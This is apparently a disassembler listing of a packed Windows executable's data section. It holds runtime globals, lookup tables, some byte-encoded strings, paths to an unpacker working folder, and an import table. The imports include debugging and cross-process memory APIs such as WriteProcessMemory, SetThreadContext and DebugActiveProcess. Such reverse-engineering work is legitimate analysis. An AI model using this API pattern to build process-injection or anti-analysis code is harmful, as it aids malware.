sub_4B6C08+C7r ; sub_4B6C08+185w byte_4F44B1 db 0 ; DATA XREF: sub_4B6C08+56w ; sub_4B6C08+8Fr ... align 8 dword_4F44B8 dd 0 ; DATA XREF: .text:004BAF0Ew ; .text:004BB066r dd 1Dh dup(0) dword_4F4530 dd 0 ; DATA XREF: .text:004BAE7Bw ; .text:004BAFBBr ... dd 1Dh dup(0) ; void *dword_4F45A8 dword_4F45A8 dd 0 ; DATA XREF: sub_4BDA71+23r ; sub_4BDAA4+33r ... dword_4F45AC dd 0 ; DATA XREF: .text:004BDE27o ; .text:004BDEB5o dword_4F45B0 dd 6 dup(0) ; DATA XREF: .text:004B7D82o ; .text:loc_4B82A1o ... dword_4F45C8 dd 0 ; DATA XREF: .text:004BADE0w ; .text:004BAE56r ... dd 1Dh dup(0) dword_4F4640 dd 0 ; DATA XREF: .text:004BAEADw ; .text:004BAFE0r ... dd 1Fh dup(0) dword_4F46C0 dd 0 ; DATA XREF: .text:004BAEDCw ; .text:004BB00Dr ... dd 1Dh dup(0) dword_4F4738 dd 0F41B764h ; DATA XREF: sub_4B73FA+8w ; .text:004B7F02r ... dword_4F473C dd 0 ; DATA XREF: sub_4B45FB+284w ; sub_4B45FB+291w ... byte_4F4740 db 0 ; DATA XREF: .text:004B5C06w byte_4F4741 db 0 ; DATA XREF: .text:004B861Cw ; .text:004B9E81r ... byte_4F4742 db 0 ; DATA XREF: .text:004B97A2r ; .text:004BA0DEr ... byte_4F4743 db 0 ; DATA XREF: .text:004B86A9w ; .text:004BAC81r byte_4F4744 db 0 ; DATA XREF: .text:004BD617r ; .text:004BD620w align 4 dword_4F4748 dd 0 ; DATA XREF: sub_4B742A+AFr ; sub_4B742A+BEr ... dword_4F474C dd 0 ; DATA XREF: .text:004B7837r ; .text:004B8283r ... dword_4F4750 dd 0 ; DATA XREF: .text:004B7CE3r ; .text:004B7D38r ... dword_4F4754 dd 0 ; DATA XREF: sub_4B742A+9r ; sub_4B742A+21r ... dd 0 dword_4F475C dd 0 ; DATA XREF: .text:004B75FAw dword_4F4760 dd 0 ; DATA XREF: .text:004B7E9Fw ; .text:004B7EB5w ... dword_4F4764 dd 0 ; DATA XREF: .text:004B8D63w ; .text:004B913Er ... dword_4F4768 dd 0 ; DATA XREF: .text:004B75ADw ; .text:004B764Cr ... dword_4F476C dd 0 ; DATA XREF: .text:004B9F02r ; .text:004BC2BBr ... dword_4F4770 dd 0 ; DATA XREF: .text:004B7663w ; .text:004B77D9r ... dword_4F4774 dd 0 ; DATA XREF: .text:004B76A7w ; .text:004B77E8r ... dword_4F4778 dd 0 ; DATA XREF: .text:004B76CFw ; .text:004B77F8r ... dword_4F477C dd 0 ; DATA XREF: .text:004B772Cw ; .text:004B7875r ... byte_4F4780 db 0 ; DATA XREF: .text:004B7CC2r ; .text:004B7D19r ... byte_4F4781 db 0 ; DATA XREF: .text:004BCC5Fw ; .text:004BD13Fr align 4 dword_4F4784 dd 0 ; DATA XREF: .text:004BACDBr ; .text:004BAD15w ... dword_4F4788 dd 0 ; DATA XREF: .text:loc_4BAD9Cw dword_4F478C dd 0 ; DATA XREF: sub_4BDAA4+Dr ; sub_4BDAA4+59r ... dword_4F4790 dd 0 ; DATA XREF: sub_4BDB47+27r ; sub_4BDB47+2Fr ... dword_4F4794 dd 0Ah dup(0) ; DATA XREF: .text:004BE4E3o ; .text:004BE4F5o byte_4F47BC db 0 ; DATA XREF: .text:004BE10Fr ; sub_4BE283+22r byte_4F47BD db 0 ; DATA XREF: .text:004BE11Br ; sub_4BE283+16r align 10h ; char byte_4F47C0 byte_4F47C0 db 0 ; DATA XREF: .text:004BE0E3r ; .text:004BE14Co ... align 4 dd 40h dup(0) ; char byte_4F48C4 byte_4F48C4 db 43h ; DATA XREF: sub_4BE1B4+9r ; sub_4BE1B4:loc_4BE1D4o ... aM_unpackerPack db ':\m_unpacker\packed-2.DbgLog',0 align 4 dd 39h dup(0) dword_4F49C8 dd 0 ; DATA XREF: .text:004BE104r ; .text:004BE161w ... dword_4F49CC dd 0 ; DATA XREF: .data:004EDE70o dword_4F49D0 dd 0 ; DATA XREF: .data:004EDE8Co dword_4F49D4 dd 0 ; DATA XREF: __lseek_0+38w ; __lseek_0+89w ... dword_4F49D8 dd 0 ; DATA XREF: __lseek_0:loc_4CD348w ; __write_0+11Bw ... align 10h dword_4F49E0 dd 0A28h ; DATA XREF: start+52w dword_4F49E4 dd 501h ; DATA XREF: start+49w dword_4F49E8 dd 5 ; DATA XREF: start+3Ew dword_4F49EC dd 1 ; DATA XREF: start+30w dword_4F49F0 dd 1 ; DATA XREF: __setargv_0+91w dword_4F49F4 dd 970B20h ; DATA XREF: __setargv_0+89w dd 0 ; void *dword_4F49FC dword_4F49FC dd 970B48h ; DATA XREF: __setenvp_0+44w ; _getenv_0+9r ... dword_4F4A00 dd 0 ; DATA XREF: ___crtsetenv_0+36r dword_4F4A04 dd 0 ; DATA XREF: _getenv_0+16r ; ___wtomb_environ_0+4r ... dd 0 off_4F4A0C dd offset aCM_unpackerP_0 ; DATA XREF: __setargv_0+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4F4A14 db 0 ; DATA XREF: _doexit_0+2Dw ; ___endstdio_0+5r align 4 dword_4F4A18 dd 0 ; DATA XREF: _doexit_0+27w dword_4F4A1C dd 0 ; DATA XREF: _doexit_0+4r ; _doexit_0+8Bw dword_4F4A20 dd 0 ; DATA XREF: sub_4C935C+4r ; sub_4C935C+9w ... align 8 dword_4F4A28 dd 0 ; DATA XREF: _time_0+5Er _time_0+A4w align 10h word_4F4A30 dw 0 ; DATA XREF: _time_0+55r _time_0+9Ao word_4F4A32 dw 0 ; DATA XREF: _time_0+48r db 2 dup(0) word_4F4A36 dw 0 ; DATA XREF: _time_0+3Br word_4F4A38 dw 0 ; DATA XREF: _time_0+2Er word_4F4A3A dw 0 ; DATA XREF: _time_0+21r align 10h ; char *dword_4F4A40 dword_4F4A40 dd 0 ; DATA XREF: start+84w ; __setenvp_0:loc_4CB783r ... align 8 dword_4F4A48 dd 0 ; DATA XREF: __amsg_exit_0r ; _fast_error_exit_0r ... align 10h dword_4F4A50 dd 0 ; DATA XREF: __tzset_0+11w ; __tzset_0+63w ... align 8 dword_4F4A58 dd 0 ; DATA XREF: __tzset_0+33o ; __tzset_0+46r dword_4F4A5C dd 10h dup(0) ; DATA XREF: __tzset_0+C1o word_4F4A9C dw 0 ; DATA XREF: __isindst_0+A8r word_4F4A9E dw 0 ; DATA XREF: __tzset_0+54r ; __isindst_0+DBr ... word_4F4AA0 dw 0 ; DATA XREF: __isindst_0+CAr word_4F4AA2 dw 0 ; DATA XREF: __isindst_0+D3r ; __isindst_0:loc_4CB20Br word_4F4AA4 dw 0 ; DATA XREF: __isindst_0+C0r word_4F4AA6 dw 0 ; DATA XREF: __isindst_0+B8r word_4F4AA8 dw 0 ; DATA XREF: __isindst_0+B0r word_4F4AAA dw 0 ; DATA XREF: __isindst_0+9Er dword_4F4AAC dd 0 ; DATA XREF: __tzset_0+4Br dword_4F4AB0 dd 10h dup(0) ; DATA XREF: __tzset_0+FBo word_4F4AF0 dw 0 ; DATA XREF: __isindst_0+46r word_4F4AF2 dw 0 ; DATA XREF: __tzset_0:loc_4CAF32r ; __isindst_0+78r ... word_4F4AF4 dw 0 ; DATA XREF: __isindst_0+67r word_4F4AF6 dw 0 ; DATA XREF: __isindst_0+70r ; __isindst_0:loc_4CB19Dr word_4F4AF8 dw 0 ; DATA XREF: __isindst_0+5Dr word_4F4AFA dw 0 ; DATA XREF: __isindst_0+55r word_4F4AFC dw 0 ; DATA XREF: __isindst_0+4Dr word_4F4AFE dw 0 ; DATA XREF: __isindst_0+3Er dword_4F4B00 dd 0 ; DATA XREF: __tzset_0+80r ; char *dword_4F4B04 dword_4F4B04 dd 0 ; DATA XREF: __tzset_0+132r ; __tzset_0:loc_4CB007r ... dword_4F4B08 dd 0 ; DATA XREF: ___tzset_0r ___tzset_0+Ew align 10h dword_4F4B10 dd 0 ; DATA XREF: _gmtime+EBw _gmtime+F1o dword_4F4B14 dd 0 ; DATA XREF: _gmtime+DAw dword_4F4B18 dd 0 ; DATA XREF: _gmtime+C8w dword_4F4B1C dd 0 ; DATA XREF: _gmtime+A4w dword_4F4B20 dd 0 ; DATA XREF: _gmtime+98w dword_4F4B24 dd 0 ; DATA XREF: _gmtime:loc_4CB4F3w dword_4F4B28 dd 0 ; DATA XREF: _gmtime+BCw dword_4F4B2C dd 0 ; DATA XREF: _gmtime+6Aw dword_4F4B30 dd 0 ; DATA XREF: _gmtime+E4w dword_4F4B34 dd 0 ; DATA XREF: __XcptFilter_0+3Ar ; __XcptFilter_0+46w ... aCM_unpackerP_0 db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv_0:loc_4CB841o ; .data:off_4F4A0Co align 4 dd 3Ah dup(0) dword_4F4C3C dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA_0+2r ; ___crtGetEnvironmentStringsA_0+23w ... dword_4F4C40 dd 0 ; DATA XREF: __FF_MSGBANNER_0+21r dword_4F4C44 dd 0 ; DATA XREF: sub_4CA24A:loc_4CA2CAr ; _malloc_0r ... dword_4F4C48 dd 0 ; DATA XREF: sub_4CCD93+4Bw ; sub_4CCEAC+2Dw ... dword_4F4C4C dd 0 ; DATA XREF: __getbuf_0w dword_4F4C50 dd 1 ; DATA XREF: ___crtGetStringTypeA_0+26r ; ___crtGetStringTypeA_0:loc_4CD7EFw dword_4F4C54 dd 2 dup(0) ; DATA XREF: unknown_libname_20+Co ; __strnicmp+17o ; int dword_4F4C5C dword_4F4C5C dd 0 ; DATA XREF: _wctomb_0:loc_4CD63Cr ; ___crtGetStringTypeA_0+7Br ... dd 3 dup(0) dword_4F4C6C dd 0 ; DATA XREF: __tzset_0+C7r ; __tzset_0+101r ... dd 0 dword_4F4C74 dd 1 ; DATA XREF: __setmbcp_0:loc_4CDC59r ; _getSystemCP_0+4w ... dword_4F4C78 dd 0 ; DATA XREF: ___crtMessageBoxA_0+3r ; ___crtMessageBoxA_0+2Ew ... dword_4F4C7C dd 0 ; DATA XREF: ___crtMessageBoxA_0+43w ; ___crtMessageBoxA_0:loc_4CE1E7r dword_4F4C80 dd 0 ; DATA XREF: ___crtMessageBoxA_0+4Aw ; ___crtMessageBoxA_0+60r dword_4F4C84 dd 1 ; DATA XREF: ___crtLCMapStringA_0+28r ; ___crtLCMapStringA_0+4Cw ... dword_4F4C88 dd 0 ; DATA XREF: ___crtCompareStringA_0+28r ; ___crtCompareStringA_0+48w ... dword_4F4C8C dd 0 ; DATA XREF: ___crtLCMapStringW_0+28r ; ___crtLCMapStringW_0+4Cw ... dword_4F4C90 dd 0 ; DATA XREF: ___crtGetStringTypeW_0+26r ; ___crtGetStringTypeW_0:loc_4CF6B7w dword_4F4C94 dd 4E4h ; DATA XREF: __setmbcp_0+14r ; __setmbcp_0+65w ... align 10h dword_4F4CA0 dd 3 dup(0) ; DATA XREF: __setmbcp_0+123o ; __setmbcp_0+171o ... dword_4F4CAC dd 0 ; DATA XREF: __setmbcp_0+108w ; __setmbcp_0+15Dw ... dd 4 dup(0) byte_4F4CC0 db 0 ; DATA XREF: _setSBUpLow_0:loc_4CDE29w ; _setSBUpLow_0:loc_4CDE46w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4F4DC0 db 0 ; DATA XREF: __setmbcp_0+5Co ; __setmbcp_0+AFo ... byte_4F4DC1 db 0 ; DATA XREF: _parse_cmdline_0+3Fr ; _parse_cmdline_0+84r ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4F4EC4 dd 0 ; DATA XREF: __setmbcp_0+6Ew ; __setmbcp_0+12Bw ... dword_4F4EC8 dd 971110h ; DATA XREF: ___initstdio_0+28w ; ___initstdio_0+41w ... dd 5 dup(0) dword_4F4EE0 dd 400h dup(0) ; DATA XREF: .data:off_4F1780o ; .data:004F1788o ; size_t Size Size dd 200h ; DATA XREF: ___initstdio_0r ; ___initstdio_0:loc_4CD591w ... dword_4F5EE4 dd 0 ; DATA XREF: ___sbh_heap_init_0+3Cw ; ___sbh_alloc_new_region_0+5r ... dword_4F5EE8 dd 0 ; DATA XREF: sub_4CC125+23Ar ; sub_4CC125+25Ar ... dword_4F5EEC dd 0 ; DATA XREF: ___sbh_heap_init_0+31w ; sub_4CC125+311w ... ; void *dword_4F5EF0 dword_4F5EF0 dd 0 ; DATA XREF: ___sbh_heap_init_0+21w ; sub_4CC125+22Dr ... dword_4F5EF4 dd 0 ; DATA XREF: ___sbh_heap_init_0+28w ; ___sbh_find_block_0r ... dword_4F5EF8 dd 0 ; DATA XREF: ___sbh_heap_init_0+15w ; ___sbh_find_block_0+8r ... dword_4F5EFC dd 0 ; DATA XREF: sub_4CA24A+35r ; sub_4CA3A2+Fr ... dword_4F5F00 dd 970000h ; DATA XREF: sub_4CA24A+6Er ; sub_4CA2FB+5Ar ... dword_4F5F04 dd 1 ; DATA XREF: sub_4CA24A+28r ; sub_4CA2FB+Cr ... dd 3 dup(0) dd 40E8CA98h, 0CACCD2D8h, 40CAC440h dword_4F5F20 dd 970650h ; DATA XREF: __flsbuf_0+B1r ; __ioinit_0:loc_4CBBC9w ... aS@@cF@UFc@@S@@ db 'èÒÌêØ@ØÒÖÊ@æêÚÚÊä@ÌØÞîÊäæ@ÂÜÈ@ÈÊÂèÐ@ØÒÖÊ@ÂêèêÚÜ@ØÊÂìÊæÊä@',0 ; DATA XREF: __ioinit_0+92o align 10h dd 5 dup(0) aVMhLl@aD db '‚ÚÂÈÒØØÞ\¬h\ll\@ êÄØÒÆ\„êÒÈ',0 dd 4 dup(0) dd 0AA000000h, 0C6C2A0DCh, 40C8CA96h, 0C6C2E486h, 40C8CA96h dd 7440F284h, 40404040h, 0E0CAE8E6h, 0E8DCCAD0h, 4040D0CAh dd 0CC40404Ch, 4040F2D8h, 40404040h, 6E606064h, 5C64605Ch dd 64406E62h, 60607468h, 0E0E0C290h, 606440F2h, 86406E60h dd 0C2DCD2D0h, 0EECA9C40h, 0C2CAB240h, 4240E4h, 1000000h dd 58A402F6h, 0BA011113h, 0CA159C55h, 70A8D378h, 3 dup(0) dword_4F6020 dd 20h ; DATA XREF: __ioinit_0+26w ; __ioinit_0:loc_4CBC33r ... dword_4F6024 dd 142340h ; DATA XREF: start+7Aw __wincmdln_0+Fr ... dword_4F6028 dd 0 ; DATA XREF: sub_4C975E:loc_4C97BEw ; sub_4C975E+6Dw ... dword_4F602C dd 0 ; DATA XREF: __expandtime+4Cw ; __expandtime+77w ... dword_4F6030 dd 1 ; DATA XREF: __setenvp_0+ADw ; _getenv_0r dword_4F6034 dd 1 ; DATA XREF: __wincmdln_0r ; __setenvp_0+3r ... dword_4F6038 dd 0 ; DATA XREF: _doexit_0+3Er dword_4F603C dd 0 ; DATA XREF: _doexit_0+35r ; _doexit_0+57r dword_4F6040 dd 0 ; DATA XREF: __cinit_0r dd 0F60C0h, 2 dup(0) dd 0F6846h, 0ED02Ch, 0F6268h, 2 dup(0) dd 0F6B2Ch, 0ED1D4h, 0F6094h, 2 dup(0) dd 0F6BD4h, 0ED000h, 5 dup(0) dd 0F6B38h, 0F6B56h, 0F6B68h, 0F6B78h, 0F6B84h, 0F6B94h dd 0F6BA4h, 0F6BAEh, 0F6BBEh, 0F6B44h, 0 dd 0F63F8h, 0F6408h, 0F6418h, 0F6426h, 0F6434h, 0F6444h dd 0F645Ah, 0F646Ah, 0F647Ch, 0F648Eh, 0F64A2h, 0F64B0h dd 0F64C6h, 0F64DAh, 0F64F0h, 0F64FEh, 0F6518h, 0F652Ah dd 0F653Ah, 0F654Ch, 0F655Ch, 0F656Ch, 0F657Ch, 0F6590h dd 0F65A4h, 0F65B6h, 0F65C8h, 0F65DAh, 0F65F4h, 0F6604h dd 0F661Ah, 0F662Ah, 0F6638h, 0F664Eh, 0F665Ah, 0F6668h dd 0F6676h, 0F6682h, 0F6694h, 0F66A6h, 0F66B8h, 0F66CEh dd 0F66E2h, 0F66F4h, 0F670Ah, 0F671Eh, 0F6732h, 0F63EAh dd 0F6756h, 0F676Ch, 0F677Ch, 0F678Eh, 0F67A0h, 0F67B2h dd 0F67C2h, 0F67D4h, 0F67E8h, 0F67FEh, 0F6812h, 0F6828h dd 0F6836h, 0F6DF6h, 0F6DE2h, 0F6DD2h, 0F6DC2h, 0F6DB2h dd 0F6DA6h, 0F6D9Ch, 0F6D90h, 0F6E08h, 0F6D7Eh, 0F6D6Ch dd 0F6D56h, 0F6D44h, 0F6D36h, 0F6D2Ah, 0F6D1Ch, 0F6D0Eh dd 0F6D00h, 0F6CF2h, 0F6CE2h, 0F6CD0h, 0F6CB6h, 0F6C9Eh dd 0F6C84h, 0F6C6Ah, 0F6C4Eh, 0F6C42h, 0F6C36h, 0F6C28h dd 0F6C18h, 0F6BFEh, 0F6BF2h, 0F6BDEh, 0F63E2h, 0F63CAh dd 0F63B2h, 0F63A2h, 0F6386h, 0F6370h, 0F635Ah, 0F6346h dd 0F6330h, 0F6746h, 0F631Ch, 0 dd 0F6B18h, 0F6B0Ah, 0F6AFEh, 0F6AEAh, 0F6ADEh, 0F6AD0h dd 0F6AC2h, 0F6AB6h, 0F6AAAh, 0F6A96h, 0F6A82h, 0F6A76h dd 0F6A64h, 0F6A56h, 0F6A38h, 0F6A2Ah, 0F6A1Ah, 0F6A0Ch dd 0F69FEh, 0F69F0h, 0F69DCh, 0F69CCh, 0F69BEh, 0F69AEh dd 0F699Ch, 0F698Ch, 0F697Ah, 0F696Ch, 0F695Ah, 0F6948h dd 0F6936h, 0F6924h, 0F6908h, 0F68F8h, 0F68E8h, 0F68C4h dd 0F68B0h, 0F68A2h, 0F6890h, 0F6880h, 0F6870h, 0F6860h dd 0F6854h, 0F68D8h, 0 db 4Eh ; N db 1, 47h, 65h aTshortpathname db 'tShortPathNameA',0 db 24h ; $ db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 dw 14Fh aGetshortpathna db 'GetShortPathNameW',0 dw 125h aGetmodulefilen db 'GetModuleFileNameW',0 align 10h db 0F8h ; ø align 2 aGetcurrentproc db 'GetCurrentProcessId',0 dw 1AAh aInitializecrit db 'InitializeCriticalSection',0 dw 175h aGetversionexa db 'GetVersionExA',0 dw 1C1h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aF db 'f',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 296h aSleep db 'Sleep',0 db 1Bh,0 aClosehandle db 'CloseHandle',0 aJ_0 db 'J',0 aCreatethread db 'CreateThread',0 align 4 db 93h ; “ db 1, 47h, 6Ch aObalunlock db 'obalUnlock',0 align 4 db 8Ch ; Œ db 1, 47h, 6Ch aOballock db 'obalLock',0 align 2 dw 181h aGlobalalloc db 'GlobalAlloc',0 db 6Dh ; m db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 0D2h ; Ò db 2, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 1B5h aIsbadreadptr db 'IsBadReadPtr',0 align 2 dw 17Fh aGlobaladdatoma db 'GlobalAddAtomA',0 align 4 db 80h ; € db 1, 47h, 6Ch aObaladdatomw db 'obalAddAtomW',0 align 2 dw 126h aGetmodulehandl db 'GetModuleHandleA',0 align 2 dw 188h aGlobalfree db 'GlobalFree',0 align 10h db 89h ; ‰ db 1, 47h, 6Ch aObalgetatomnam db 'obalGetAtomNameA',0 align 2 dw 183h aGlobaldeleteat db 'GlobalDeleteAtom',0 align 2 dw 18Ah aGlobalgetatomn db 'GlobalGetAtomNameW',0 align 10h db '±',0 aFreeconsole db 'FreeConsole',0 dw 109h aGetenvironment db 'GetEnvironmentVariableA',0 db 0C3h ; à db 2, 56h, 69h aRtualprotect db 'rtualProtect',0 align 2 dw 2BBh aVirtualalloc db 'VirtualAlloc',0 align 2 dw 13Eh aGetprocaddress db 'GetProcAddress',0 align 4 db 1Ah db 1, 47h, 65h aTlasterror db 'tLastError',0 align 4 db 0C2h ;  db 1, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 align 4 db 71h ; q db 2, 53h, 65h aTlasterror_0 db 'tLastError',0 align 4 db 87h ; ‡ db 2, 53h, 65h aTthreadpriorit db 'tThreadPriority',0 dd 654700F9h, 72754374h, 746E6572h, 65726854h, 6461h, 72430044h dd 65746165h, 636F7250h, 41737365h, 0CA0000h, 43746547h dd 616D6D6Fh, 694C646Eh, 41656Eh, 65470150h, 61745374h dd 70757472h, 6F666E49h, 2620041h aSetenvironme_0 db 'SetEnvironmentVariableA',0 db 25h ; % db 2, 52h, 65h aLeasemutex db 'leaseMutex',0 align 4 db 0CEh ; Î db 2, 57h, 61h aItforsingleobj db 'itForSingleObject',0 a? db '?',0 aCreatemutexa db 'CreateMutexA',0 align 2 dw 1EDh aOpenmutexa db 'OpenMutexA',0 align 4 db 0FAh ; ú align 2 aGetcurrentthre db 'GetCurrentThreadId',0 align 2 dw 218h aReadfile db 'ReadFile',0 align 2 dw 112h aGetfilesize db 'GetFileSize',0 a4 db '4',0 aCreatefilea db 'CreateFileA',0 aR_0 db '',0 aFindclose db 'FindClose',0 aF_0 db '”',0 aFindfirstfilea db 'FindFirstFileA',0 align 4 aC_3 db '—',0 aFindfirstfilew db 'FindFirstFileW',0 align 2 dw 2C7h aVirtualqueryex db 'VirtualQueryEx',0 align 4 db 0Bh db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 21Ch aReadprocessmem db 'ReadProcessMemory',0 dw 2B0h aUnmapviewoffil db 'UnmapViewOfFile',0 db '%',0 aContinuedebuge db 'ContinueDebugEvent',0 align 2 dw 283h aSetthreadconte db 'SetThreadContext',0 align 2 dw 167h aGetthreadconte db 'GetThreadContext',0 align 2 dw 2CBh aWaitfordebugev db 'WaitForDebugEvent',0 dw 298h aSuspendthread db 'SuspendThread',0 aP_1 db 'P',0 aDebugactivepro db 'DebugActiveProcess',0 align 4 db 2Ch ; , db 2, 52h, 65h aSumethread db 'sumeThread',0 align 4 aE_2 db 'E',0 aCreateprocessw db 'CreateProcessW',0 align 2 db 'Ë',0 aGetcommandline db 'GetCommandLineW',0 db 51h ; Q db 1, 47h, 65h aTstartupinfow db 'tStartupInfoW',0 dw 1D6h aMapviewoffile db 'MapViewOfFile',0 aC_4 db 'c',0 aDuplicatehandl db 'DuplicateHandle',0 db 0F7h ; ÷ align 2 aGetcurrentpr_0 db 'GetCurrentProcess',0 a5 db '5',0 aCreatefilemapp db 'CreateFileMappingA',0 align 2 dw 2C4h aVirtualprotect db 'VirtualProtectEx',0 align 2 dw 2E9h aWriteprocessme db 'WriteProcessMemory',0 align 4 db '}',0 aExitprocess db 'ExitProcess',0 dw 11Bh aGetlocaltime db 'GetLocalTime',0 align 2 aKernel32_dll_2 db 'KERNEL32.dll',0 align 4 db 8Fh ; db 1, 49h, 73h aWindow_0 db 'Window',0 align 10h db 0DEh ; Þ db 1, 50h, 6Fh aStmessagea db 'stMessageA',0 align 10h db 0DFh ; ß db 1, 50h, 6Fh aStmessagew db 'stMessageW',0 align 10h db 0DAh ; Ú db 1, 50h, 61h aCkddelparam db 'ckDDElParam',0 db 91h ; ‘ db 1, 49h, 73h aWindowunicode db 'WindowUnicode',0 db 'Ð',0 aEnumwindows db 'EnumWindows',0 db '•',0 aDispatchmessag db 'DispatchMessageA',0 align 4 db 82h ; ‚ db 2, 54h, 72h aAnslatemessage db 'anslateMessage',0 align 4 db 0DCh ; Ü db 1, 50h, 65h aEkmessagea db 'ekMessageA',0 align 4 db 14h db 2, 53h, 65h aNdmessagea db 'ndMessageA',0 align 4 db 19h db 2, 53h, 65h aNdmessagew db 'ndMessageW',0 align 4 db 62h ; b db 1, 47h, 65h aTwindowthreadp db 'tWindowThreadProcessId',0 align 4 aY db 'Y',0 aCreatewindowex db 'CreateWindowExA',0 dw 1F2h aRegisterclassa db 'RegisterClassA',0 align 4 aZ db 'Z',0 aCreatewindow_0 db 'CreateWindowExW',0 dw 1F5h aRegisterclassw db 'RegisterClassW',0 align 4 db 9Ah ; š db 1, 4Ch, 6Fh aAdcursora db 'adCursorA',0 aD_1 db '„',0 aDefwindowproca db 'DefWindowProcA',0 align 4 db 'Ü',0 aFreeddelparam db 'FreeDDElParam',0 db 8Ah ; Š db 2, 55h, 6Eh aPackddelparam db 'packDDElParam',0 dw 16Fh aInsendmessage db 'InSendMessage',0 dw 1BEh aMessageboxa_1 db 'MessageBoxA',0 aO db 'Ž',0 aDestroywindo_0 db 'DestroyWindow',0 db 0A4h ; ¤ db 2, 57h, 61h aItforinputidle db 'itForInputIdle',0 align 10h db 'Õ',0 aFindwindowa_0 db 'FindWindowA',0 dw 1ACh aLoadstringw db 'LoadStringW',0 db 0ABh ; « db 1, 4Ch, 6Fh aAdstringa db 'adStringA',0 dw 291h aUpdatewindow db 'UpdateWindow',0 align 2 dw 26Ah aShowwindow db 'ShowWindow',0 align 4 db 'L',0 aCreatedialogin db 'CreateDialogIndirectParamA',0 align 2 dw 102h aGetdlgitem db 'GetDlgItem',0 align 4 dd 6553025Eh, 6E695774h, 54776F64h, 41747865h, 2520000h dd 54746553h, 72656D69h, 1460000h, 53746547h, 65747379h dd 74654D6Dh, 73636972h, 0E30000h, 41746547h, 636E7973h dd 5379654Bh, 65746174h, 1950000h, 6C6C694Bh, 656D6954h dd 0BB0072h, 50646E45h, 746E6961h, 0C0000h, 69676542h dd 6961506Eh, 746Eh, 6547012Ah, 73654D74h, 65676173h, 13A0041h dd 50746547h, 41706F72h, 0CD0000h aEnumthreadwind db 'EnumThreadWindows',0 dw 242h aSetpropa db 'SetPropA',0 align 2 dw 1C9h aMovewindow db 'MoveWindow',0 align 4 dd 654700FFh, 73654474h, 706F746Bh, 646E6957h, 776Fh, 52455355h dd 642E3233h, 6C6Ch, 65440050h, 6574656Ch, 4344h, 72430030h dd 65746165h, 69424944h, 70616D74h, 1AC0000h, 6C616552h dd 50657A69h, 74656C61h, 6574h, 655301C8h, 7463656Ch, 656C6150h dd 657474h, 7243002Bh, 65746165h, 414344h, 72430042h, 65746165h dd 656C6150h, 657474h, 65440053h, 6574656Ch, 656A624Fh dd 7463h, 69420011h, 746C4274h, 1C70000h, 656C6553h, 624F7463h dd 7463656Ah, 2A0000h aCreatecompat_0 db 'CreateCompatibleDC',0 align 4 aGdi32_dll_0 db 'GDI32.dll',0 dw 29Eh aTerminateproce db 'TerminateProcess',0 align 2 dw 22Fh aRtlunwind db 'RtlUnwind',0 dw 170h aGettimezoneinf db 'GetTimeZoneInformation',0 align 4 dd 6547015Dh, 73795374h, 546D6574h, 656D69h, 65470174h dd 72655674h, 6E6F6973h, 1990000h, 70616548h, 6F6C6C41h dd 19F0063h, 70616548h, 65657246h, 2AD0000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 db '²',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 db '³',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 106h aGetenvironme_0 db 'GetEnvironmentStrings',0 dw 108h aGetenvironme_1 db 'GetEnvironmentStringsW',0 align 10h dd 6553026Dh, 6E614874h, 43656C64h, 746E756Fh, 1520000h dd 53746547h, 61486474h, 656C646Eh, 1150000h, 46746547h dd 54656C69h, 657079h, 6548019Dh, 65447061h, 6F727473h dd 19B0079h, 70616548h, 61657243h, 6574h, 695602BFh, 61757472h dd 6572466Ch, 2DF0065h, 74697257h, 6C694665h, 1A20065h dd 70616548h, 6C416552h, 636F6Ch, 6553026Ah, 6C694674h dd 696F5065h, 7265746Eh, 1E40000h aMultibytetowid db 'MultiByteToWideChar',0 dd 65470153h, 72745374h, 54676E69h, 41657079h, 1560000h dd 53746547h, 6E697274h, 70795467h, 5765h, 654700BFh, 49504374h dd 6F666Eh, 654700B9h, 50434174h, 1310000h, 4F746547h dd 50434D45h, 27C0000h, 53746553h, 61486474h, 656C646Eh dd 1BF0000h, 614D434Ch, 72745370h, 41676E69h, 1C00000h dd 614D434Ch, 72745370h, 57676E69h, 0AA0000h, 73756C46h dd 6C694668h, 66754265h, 73726566h, 210000h, 706D6F43h dd 53657261h, 6E697274h, 4167h, 6F430022h, 7261706Dh, 72745365h dd 57676E69h, 398Bh dup(0) db 2 dup(0) word_505446 dw 0 ; DATA XREF: UPX0:off_4264D8o dd 1EEEh dup(0) _data ends ; Section 7. (virtual address 0010D000) ; Virtual size : 00040000 ( 262144.) ; Section size in file : 00040000 ( 262144.) ; Offset to raw data for section: 0010D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment 